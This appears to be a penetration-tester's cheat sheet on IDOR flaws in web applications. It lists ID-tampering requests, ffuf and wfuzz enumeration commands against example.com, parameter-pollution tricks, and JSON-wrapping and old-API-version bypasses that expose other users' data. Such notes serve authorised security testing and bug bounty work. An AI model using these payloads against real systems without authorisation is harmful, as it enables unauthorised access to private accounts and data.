IDOR (Insecure Direct Object References) Attack

IDOR is a type of access control vulnerability in web applications.

Find Vulnerabilities from HTML Source Code

First check values of attributes on input elements.

<input name="user_id" value="8" >

Then try what will happen when you change the Cookie value in a HTTP header.

Cookie: user_id=12

Change GET Parameters

Manual

/user?id=1
/user?id=2
/user?id=-1
/user?id=00

/admin/posts/1
/admin/posts/-1
/admin/posts/00

/static/1.txt
/static/2.txt
/static/-1.txt
/static/00.txt

Automation

seq 0 100 | ffuf -u https://example.com/user?id=FUZZ -w -

wfuzz -z file,./numbers.txt https://example.com/user?id=FUZZ

Change POST Parameters

address=1&user_id=1
address=1&user_id=2

# URL Encode '&'
address=1%26user_id=2

Basics

Check for valuable words:
{regex + perm} id
{regex + perm} user
{regex + perm} account
{regex + perm} number
{regex + perm} order
{regex + perm} no
{regex + perm} doc
{regex + perm} key
{regex + perm} email
{regex + perm} group
{regex + perm} profile
{regex + perm} edit

Bypasses

• Add parameters onto the endpoints for example, if there was

GET /api_v1/messages --> 401
vs 
GET /api_v1/messages?user_id=victim_uuid --> 200

• HTTP Parameter pollution

GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized
GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK

GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[]

• Add .json to the endpoint, if it is built in Ruby!

/user_data/2341 --> 401 Unauthorized
/user_data/2341.json --> 200 OK

• Test on outdated API Versions

/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK

Wrap the ID with an array.

{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK

Wrap the ID with a JSON object:

{“id”:111} --> 401 Unauthriozied

{“id”:{“id”:111}} --> 200 OK

JSON Parameter Pollution:

POST /api/get_profile
Content-Type: application/json
{“user_id”:<legit_id>,”user_id”:<victim’s_id>}